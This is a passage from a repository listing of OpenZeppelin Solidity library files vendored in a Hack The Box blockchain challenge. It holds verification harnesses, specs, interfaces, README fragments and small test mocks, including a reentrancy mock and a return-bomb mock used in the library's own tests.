| } 10 | 11 | function useCheckedNonce(address account, uint256 nonce) external { 12 | _useCheckedNonce(account, nonce); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/Ownable2StepHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Ownable2Step, Ownable} from "../patched/access/Ownable2Step.sol"; 5 | 6 | contract Ownable2StepHarness is Ownable2Step { 7 | constructor(address initialOwner) Ownable(initialOwner) {} 8 | 9 | function restricted() external onlyOwner {} 10 | } 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/OwnableHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Ownable} from "../patched/access/Ownable.sol"; 5 | 6 | contract OwnableHarness is Ownable { 7 | constructor(address initialOwner) Ownable(initialOwner) {} 8 | 9 | function restricted() external onlyOwner {} 10 | } 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/PausableHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {Pausable} from "../patched/utils/Pausable.sol"; 5 | 6 | contract PausableHarness is Pausable { 7 | function pause() external { 8 | _pause(); 9 | } 10 | 11 | function unpause() external { 12 | _unpause(); 13 | } 14 | 15 | function onlyWhenPaused() external whenPaused {} 16 | 17 | function onlyWhenNotPaused() external whenNotPaused {} 18 | } 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/harnesses/TimelockControllerHarness.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {TimelockController} from "../patched/governance/TimelockController.sol"; 5 | 6 | contract TimelockControllerHarness is TimelockController { 7 | constructor( 8 | uint256 minDelay, 9 | address[] memory proposers, 10 | address[] memory executors, 11 | address admin 12 | ) TimelockController(minDelay, proposers, executors, admin) {} 13 | } 14 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2021-10.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2021-10.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-03.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-03.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-05.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/reports/2022-05.pdf -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IAccessControl.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function DEFAULT_ADMIN_ROLE() external returns (bytes32) envfree; 3 | function hasRole(bytes32, address) external returns(bool) envfree; 4 | function getRoleAdmin(bytes32) external returns(bytes32) envfree; 5 | function grantRole(bytes32, address) external; 6 | function revokeRole(bytes32, address) external; 7 | function renounceRole(bytes32, address) external; 8 | } 9 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IAccessManaged.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function authority() external returns (address) envfree; 3 | function isConsumingScheduledOp() external returns (bytes4) envfree; 4 | function setAuthority(address) external; 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC2612.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function permit(address,address,uint256,uint256,uint8,bytes32,bytes32) external; 3 | function nonces(address) external returns (uint256) envfree; 4 | function DOMAIN_SEPARATOR() external returns (bytes32) envfree; 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC3156FlashBorrower.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function _.onFlashLoan(address,address,uint256,uint256,bytes) external => DISPATCHER(true); 3 | } 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC3156FlashLender.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function maxFlashLoan(address) external returns (uint256) envfree; 3 | function flashFee(address,uint256) external returns (uint256) envfree; 4 | function flashLoan(address,address,uint256,bytes) external returns (bool); 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC5313.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function owner() external returns (address) envfree; 3 | } 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IERC721Receiver.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function _.onERC721Received(address,address,uint256,bytes) external => DISPATCHER(true); 3 | } 4 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IOwnable.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function owner() external returns (address) envfree; 3 | function transferOwnership(address) external; 4 | function renounceOwnership() external; 5 | } 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/certora/specs/methods/IOwnable2Step.spec: -------------------------------------------------------------------------------- 1 | methods { 2 | function owner() external returns (address) envfree; 3 | function pendingOwner() external returns (address) envfree; 4 | function transferOwnership(address) external; 5 | function acceptOwnership() external; 6 | function renounceOwnership() external; 7 | } 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/account/README.adoc: -------------------------------------------------------------------------------- 1 | = Account 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/account 5 | 6 | This directory includes contracts to build accounts for ERC-4337. 7 | 8 | == Utilities 9 | 10 | {{ERC4337Utils}} 11 | 12 | {{ERC7579Utils}} 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/finance/README.adoc: -------------------------------------------------------------------------------- 1 | = Finance 2 | 3 | [.readme-notice] 4 | NOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/finance 5 | 6 | This directory includes primitives for financial systems: 7 | 8 | - {VestingWallet} handles the vesting of Ether and ERC-20 tokens for a given beneficiary. Custody of multiple tokens can 9 | be given to this contract, which will release the token to the beneficiary following a given, customizable, vesting 10 | schedule. 11 | 12 | == Contracts 13 | 14 | {{VestingWallet}} 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC1155.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1155.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC1155} from "../token/ERC1155/IERC1155.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC1155MetadataURI.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1155MetadataURI.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC1155MetadataURI} from "../token/ERC1155/extensions/IERC1155MetadataURI.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC1155Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC1155Receiver.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC1155Receiver} from "../token/ERC1155/IERC1155Receiver.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC165.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC165.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC165} from "../utils/introspection/IERC165.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC20.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC20} from "../token/ERC20/IERC20.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC20Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC20Metadata.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC20Metadata} from "../token/ERC20/extensions/IERC20Metadata.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC2612.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC2612.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC20Permit} from "../token/ERC20/extensions/IERC20Permit.sol"; 7 | 8 | interface IERC2612 is IERC20Permit {} 9 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC3156.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC3156.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC3156FlashBorrower} from "./IERC3156FlashBorrower.sol"; 7 | import {IERC3156FlashLender} from "./IERC3156FlashLender.sol"; 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC5313.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5313.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | /** 7 | * @dev Interface for the Light Contract Ownership Standard. 8 | * 9 | * A standardized minimal interface required to identify an account that controls a contract 10 | */ 11 | interface IERC5313 { 12 | /** 13 | * @dev Gets the address of the owner. 14 | */ 15 | function owner() external view returns (address); 16 | } 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC5805.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC5805.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IVotes} from "../governance/utils/IVotes.sol"; 7 | import {IERC6372} from "./IERC6372.sol"; 8 | 9 | interface IERC5805 is IERC6372, IVotes {} 10 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC721} from "../token/ERC721/IERC721.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721Enumerable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721Enumerable.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC721Enumerable} from "../token/ERC721/extensions/IERC721Enumerable.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721Metadata.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721Metadata.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC721Metadata} from "../token/ERC721/extensions/IERC721Metadata.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/interfaces/IERC721Receiver.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (interfaces/IERC721Receiver.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | import {IERC721Receiver} from "../token/ERC721/IERC721Receiver.sol"; 7 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/Base64Dirty.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import {Base64} from "../utils/Base64.sol"; 6 | 7 | contract Base64Dirty { 8 | struct A { 9 | uint256 value; 10 | } 11 | 12 | function encode(bytes memory input) public pure returns (string memory) { 13 | A memory unused = A({value: type(uint256).max}); 14 | // To silence warning 15 | unused; 16 | 17 | return Base64.encode(input); 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MaliciousData.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | contract ERC165MaliciousData { 6 | function supportsInterface(bytes4) public pure returns (bool) { 7 | assembly { 8 | mstore(0, 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff) 9 | return(0, 32) 10 | } 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165MissingData.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | contract ERC165MissingData { 6 | function supportsInterface(bytes4 interfaceId) public view {} // missing return 7 | } 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165NotSupported.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | contract ERC165NotSupported {} 6 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ERC165/ERC165ReturnBomb.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import {IERC165} from "../../utils/introspection/IERC165.sol"; 6 | 7 | contract ERC165ReturnBombMock is IERC165 { 8 | function supportsInterface(bytes4 interfaceId) public pure override returns (bool) { 9 | if (interfaceId == type(IERC165).interfaceId) { 10 | assembly { 11 | mstore(0, 1) 12 | } 13 | } 14 | assembly { 15 | return(0, 101500) 16 | } 17 | } 18 | } 19 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/EtherReceiverMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | contract EtherReceiverMock { 6 | bool private _acceptEther; 7 | 8 | function setAcceptEther(bool acceptEther) public { 9 | _acceptEther = acceptEther; 10 | } 11 | 12 | receive() external payable { 13 | if (!_acceptEther) { 14 | revert(); 15 | } 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/ReentrancyAttack.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import {Context} from "../utils/Context.sol"; 6 | 7 | contract ReentrancyAttack is Context { 8 | function callSender(bytes calldata data) public { 9 | (bool success, ) = _msgSender().call(data); 10 | require(success, "ReentrancyAttack: failed call"); 11 | } 12 | } 13 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/MyNFT.sol: -------------------------------------------------------------------------------- 1 | // contracts/MyNFT.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.20; 4 | 5 | import {ERC721} from "../../token/ERC721/ERC721.sol"; 6 | 7 | contract MyNFT is ERC721 { 8 | constructor() ERC721("MyNFT", "MNFT") {} 9 | } 10 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/access-control/AccessControlModified.sol: -------------------------------------------------------------------------------- 1 | // contracts/AccessControlModified.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.20; 4 | 5 | import {AccessControl} from "../../../access/AccessControl.sol"; 6 | 7 | contract AccessControlModified is AccessControl { 8 | error AccessControlNonRevokable(); 9 | 10 | // Override the revokeRole function 11 | function revokeRole(bytes32, address) public pure override { 12 | revert AccessControlNonRevokable(); 13 | } 14 | } 15 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/access-control/MyContractOwnable.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import {Ownable} from "../../../access/Ownable.sol"; 6 | 7 | contract MyContract is Ownable { 8 | constructor(address initialOwner) Ownable(initialOwner) {} 9 | 10 | function normalThing() public { 11 | // anyone can call this normalThing() 12 | } 13 | 14 | function specialThing() public onlyOwner { 15 | // only the owner can call specialThing()! 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/token/ERC1155/MyERC115HolderContract.sol: -------------------------------------------------------------------------------- 1 | // contracts/MyERC115HolderContract.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.20; 4 | 5 | import {ERC1155Holder} from "../../../../token/ERC1155/utils/ERC1155Holder.sol"; 6 | 7 | contract MyERC115HolderContract is ERC1155Holder {} 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/token/ERC20/GLDToken.sol: -------------------------------------------------------------------------------- 1 | // contracts/GLDToken.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.20; 4 | 5 | import {ERC20} from "../../../../token/ERC20/ERC20.sol"; 6 | 7 | contract GLDToken is ERC20 { 8 | constructor(uint256 initialSupply) ERC20("Gold", "GLD") { 9 | _mint(msg.sender, initialSupply); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/docs/utilities/Multicall.sol: -------------------------------------------------------------------------------- 1 | // contracts/Box.sol 2 | // SPDX-License-Identifier: MIT 3 | pragma solidity ^0.8.20; 4 | 5 | import {Multicall} from "../../../utils/Multicall.sol"; 6 | 7 | contract Box is Multicall { 8 | function foo() public { 9 | // ... 10 | } 11 | 12 | function bar() public { 13 | // ... 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/proxy/BadBeacon.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | contract BadBeaconNoImpl {} 6 | 7 | contract BadBeaconNotContract { 8 | function implementation() external pure returns (address) { 9 | return address(0x1); 10 | } 11 | } 12 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20ApprovalMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {ERC20} from "../../token/ERC20/ERC20.sol"; 5 | 6 | abstract contract ERC20ApprovalMock is ERC20 { 7 | function _approve(address owner, address spender, uint256 amount, bool) internal virtual override { 8 | super._approve(owner, spender, amount, true); 9 | } 10 | } 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20DecimalsMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import {ERC20} from "../../token/ERC20/ERC20.sol"; 6 | 7 | abstract contract ERC20DecimalsMock is ERC20 { 8 | uint8 private immutable _decimals; 9 | 10 | constructor(uint8 decimals_) { 11 | _decimals = decimals_; 12 | } 13 | 14 | function decimals() public view override returns (uint8) { 15 | return _decimals; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20ExcessDecimalsMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | contract ERC20ExcessDecimalsMock { 6 | function decimals() public pure returns (uint256) { 7 | return type(uint256).max; 8 | } 9 | } 10 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20Mock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | pragma solidity ^0.8.20; 3 | 4 | import {ERC20} from "../../token/ERC20/ERC20.sol"; 5 | 6 | contract ERC20Mock is ERC20 { 7 | constructor() ERC20("ERC20Mock", "E20M") {} 8 | 9 | function mint(address account, uint256 amount) external { 10 | _mint(account, amount); 11 | } 12 | 13 | function burn(address account, uint256 amount) external { 14 | _burn(account, amount); 15 | } 16 | } 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC20MulticallMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import {ERC20} from "../../token/ERC20/ERC20.sol"; 6 | import {Multicall} from "../../utils/Multicall.sol"; 7 | 8 | abstract contract ERC20MulticallMock is ERC20, Multicall {} 9 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/mocks/token/ERC4626OffsetMock.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | 3 | pragma solidity ^0.8.20; 4 | 5 | import {ERC4626} from "../../token/ERC20/extensions/ERC4626.sol"; 6 | 7 | abstract contract ERC4626OffsetMock is ERC4626 { 8 | uint8 private immutable _offset; 9 | 10 | constructor(uint8 offset_) { 11 | _offset = offset_; 12 | } 13 | 14 | function _decimalsOffset() internal view virtual override returns (uint8) { 15 | return _offset; 16 | } 17 | } 18 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/proxy/beacon/IBeacon.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.0.0) (proxy/beacon/IBeacon.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | /** 7 | * @dev This is the interface that {BeaconProxy} expects of its beacon. 8 | */ 9 | interface IBeacon { 10 | /** 11 | * @dev Must return an address that can be used as a delegate call target. 12 | * 13 | * {UpgradeableBeacon} will check that this address is a contract. 14 | */ 15 | function implementation() external view returns (address); 16 | } 17 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/token/common/README.adoc: -------------------------------------------------------------------------------- 1 | = Common (Tokens) 2 | 3 | Functionality that is common to multiple token standards. 4 | 5 | * {ERC2981}: NFT Royalties compatible with both ERC-721 and ERC-1155. 6 | ** For ERC-721 consider {ERC721Royalty} which clears the royalty information from storage on burn. 7 | 8 | == Contracts 9 | 10 | {{ERC2981}} 11 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/contracts/utils/Comparators.sol: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: MIT 2 | // OpenZeppelin Contracts (last updated v5.1.0) (utils/Comparators.sol) 3 | 4 | pragma solidity ^0.8.20; 5 | 6 | /** 7 | * @dev Provides a set of functions to compare values. 8 | * 9 | * _Available since v5.1._ 10 | */ 11 | library Comparators { 12 | function lt(uint256 a, uint256 b) internal pure returns (bool) { 13 | return a < b; 14 | } 15 | 16 | function gt(uint256 a, uint256 b) internal pure returns (bool) { 17 | return a > b; 18 | } 19 | } 20 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/antora.yml: -------------------------------------------------------------------------------- 1 | name: contracts 2 | title: Contracts 3 | version: 5.x 4 | prerelease: false 5 | nav: 6 | - modules/ROOT/nav.adoc 7 | - modules/api/nav.adoc 8 | -------------------------------------------------------------------------------- /blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3a.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/hackthebox/cyber-apocalypse-2025/843bdcc55112c5b68b05b5fe706fbbb1dad9b551/blockchain/Eldorion [Very Easy]/htb/contracts/lib/openzeppelin-contracts-upgradeable/lib/openzeppelin-contracts/docs/modules/ROOT/images/erc4626-attack-3a.png 